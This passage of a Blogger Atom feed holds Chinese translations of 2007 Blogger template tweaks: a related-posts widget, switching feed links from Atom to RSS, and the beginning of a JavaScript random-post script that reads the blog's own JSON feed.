部件”。看起来应该类似于下面这样。添加粗体部分：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:widget &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='HTML13' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;locked&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='false' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='Related &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Posts' type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='HTML'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;id&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='main'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;='data:blog.pageType == &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;"item"'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&amp;lt;!--&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt; only display title if it's non-empty &lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;--&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:title &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;= ""&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2 &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='title'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;h2&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='widget-content'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:content&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;div&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:include &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='quickedit'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:includable&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:widget&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　在第一部分代码中的 &amp;lt; results="10."&amp;gt;用来调整相关文章的显示数量。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-1499387088890714005?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/1499387088890714005/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=1499387088890714005' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1499387088890714005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/1499387088890714005'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blog-post_09.html' title='[翻译]显示相关文章'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-3035976869239584774</id><published>2007-05-09T12:26:00.000+08:00</published><updated>2007-05-09T20:32:54.886+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]用 RSS 代替 Atom</title><content type='html'>原文：&lt;a href="http://purplemoggy.blogspot.com/2006/11/replace-atom-with-rss.html"&gt;Replace Atom With RSS&lt;/a&gt;&lt;br /&gt;　　在你的 blogger 页面的最下面会看到类似于这样的一行：&lt;br /&gt;&lt;blockquote&gt;Subscribe to: Posts (Atom)&lt;/blockquote&gt;&lt;br /&gt;　　或者&lt;br /&gt;&lt;blockquote&gt;Subscribe to: Post Comments (Atom)&lt;/blockquote&gt;&lt;br /&gt;　　这取决于你当前浏览的页面的类型（索引，固定链接，搜索，标签等等）。&lt;br /&gt;　　如果你想使用 RSS，那么进入“模板 -&gt; 编辑 HTML”，选中“展开窗口小部件代码”，然后找到下面的代码段。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:includable &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;id&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;feedLinksBody&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; var&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;links&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:includable&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;div &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;class&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;feed-links&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:feedlinksmsg&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:loop &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;values&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;data:links&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; var&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;f&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;a &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;class&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;feed-link&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; href&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;data:f.url&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; type&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;data:f.mimeType&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; target&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;_blank&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:f&lt;/span&gt;&lt;span style="color: #FF0000;"&gt;.name&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt; (&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:f&lt;/span&gt;&lt;span style="color: #FF0000;"&gt;.feedtype&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;)&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:f.feedtype&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:f.name&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;a&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:loop&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:feedlinksmsg&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;div&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　从代码上来看，可以选择你希望使用的 feed。但是不走运的是，并没有提供可选的项或者还没有计划这么做。所以我们只能自己手动编辑。&lt;br /&gt;　　把上面的代码替换成下面的。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:includable &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;id&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;feedLinksBody&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; var&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;links&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:includable&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;div &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;class&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;feed-links&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:feedlinksmsg&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:loop &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;values&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;data:links&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; var&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;f&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;   &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;a &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;class&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;feed-link&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; href&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;data:f.url%20+%20%22?alt=rss%22&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; type&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;application/rss+xml&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; target&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;_blank&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:f&lt;/span&gt;&lt;span style="color: #FF0000;"&gt;.name&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt; (RSS)&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:f.name&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;a&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:loop&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;data:feedlinksmsg&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;div&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-3035976869239584774?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/3035976869239584774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=3035976869239584774' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3035976869239584774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3035976869239584774'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/rss-atom.html' title='[翻译]用 RSS 代替 Atom'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-7615779277914657167</id><published>2007-05-08T22:20:00.000+08:00</published><updated>2007-05-09T12:51:27.134+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]随机显示文章</title><content type='html'>原文：&lt;a href="http://purplemoggy.blogspot.com/2007/05/display-random-post.html"&gt;Display Random Post&lt;/a&gt;&lt;br /&gt;　　是否曾经想如何随机显示文章？你马上就能知道:D&lt;br /&gt;　　首先，把下面的 javascrpit 代码添加到模板头部标签之间（模板 -&gt; 编辑 HTML）。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;script type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;text/javascript&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&amp;lt;![CDATA[&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; _yourBlogUrl &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;http://purplemoggy.blogspot.com&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; randomPost() {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; script &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; document.createElement(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;script.setAttribute(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;text/javascript&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; theUrl &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; _yourBlogUrl &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/feeds/posts/summary?alt=json-in-script&amp;callback=getTotalPostsCallback&amp;amp;start-index=1&amp;max-results=1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;script.setAttribute(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;src&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, theUrl);&lt;br /&gt;document.documentElement.firstChild.appendChild(script);&lt;br /&gt;};&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; getTotalPostsCallback(json) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; totalResults &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; json.feed.openSearch$totalResults.$t;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (totalResults &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;) {&lt;br /&gt;getRandomPostNumber(totalResults);&lt;br /&gt;}&lt;br /&gt;};&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; getRandomPostNumber(totalResults) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; randomNumber &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Math.floor((Math.random() &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; totalResults) &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;getRandomUrl(randomNumber);&lt;br /&gt;};&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; getRandomUrl(randomNumber) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; script &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; document.createElement(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;script&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;script.setAttribute(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;text/javascript&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; theUrl &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; _yourBlogUrl &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;/feeds/posts/summary?alt=json-in-script&amp;callback=getTheUrlCallback&amp;amp;start-index=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; randomNumber &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;max-results=1&lt;/span&gt;&lt;span style="color: rgb(0, 